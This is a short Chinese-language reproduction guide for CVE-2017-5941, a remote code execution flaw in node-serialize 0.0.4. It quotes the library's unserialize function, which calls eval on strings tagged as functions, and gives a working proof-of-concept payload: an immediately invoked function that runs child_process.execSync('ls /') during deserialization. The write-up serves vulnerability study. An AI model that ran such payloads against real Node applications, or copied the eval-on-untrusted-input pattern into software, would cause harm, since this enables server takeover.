漏洞简介
CVE-2017-5941 漏洞出现在node-serialize模块0.0.4版本当中 反序列化时执行eval并且参数可控 存在RCE
环境搭建
npm install node-serialize@0.0.4
漏洞复现
0x1
了解什么是IIFE:
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
IIFE一般写成下面的形式:
1 2 3
| (function(){ /* code */ }()); // 或者 (function(){ /* code */ })();
|
0x2
先看到序列化结果
1 2 3 4 5 6 7
| var test = { "rce": function(){console.log(require('child_process').execSync('ls /').toString())} };
var srl = serialize.serialize(test); console.log(srl);
|
0x3
unserialize反序列化代码逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| exports.unserialize = function(obj, originObj) { var isIndex; if (typeof obj === 'string') { obj = JSON.parse(obj); isIndex = true; } originObj = originObj || obj;
var circularTasks = []; var key; for(key in obj) { if(obj.hasOwnProperty(key)) { if(typeof obj[key] === 'object') { obj[key] = exports.unserialize(obj[key], originObj); } else if(typeof obj[key] === 'string') { if(obj[key].indexOf(FUNCFLAG) === 0) { obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); } else if(obj[key].indexOf(CIRCULARFLAG) === 0) { obj[key] = obj[key].substring(CIRCULARFLAG.length); circularTasks.push({obj: obj, key: key}); } } } }
if (isIndex) { circularTasks.forEach(function(task) { task.obj[task.key] = getKeyPath(originObj, task.obj[task.key]); }); } return obj; };
|
可以看到17# eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
这里FUNCFLAG=_$$ND_FUNC$$_
也就是如果反序列化时如果识别为函数 则会直接拼接function部分 并eval 那么我们只要构造类似eval('(function(){console.log(2)})')
即可执行
0x4
在序列化结果末尾添上()
然后反序列化
1 2 3 4
| var serialize = require('node-serialize'); var payload = '{"rce":"_$$ND_FUNC$$_function(){console.log(require(\'child_process\').execSync(\'ls /\').toString())}()"}'; serialize.unserialize(payload);
|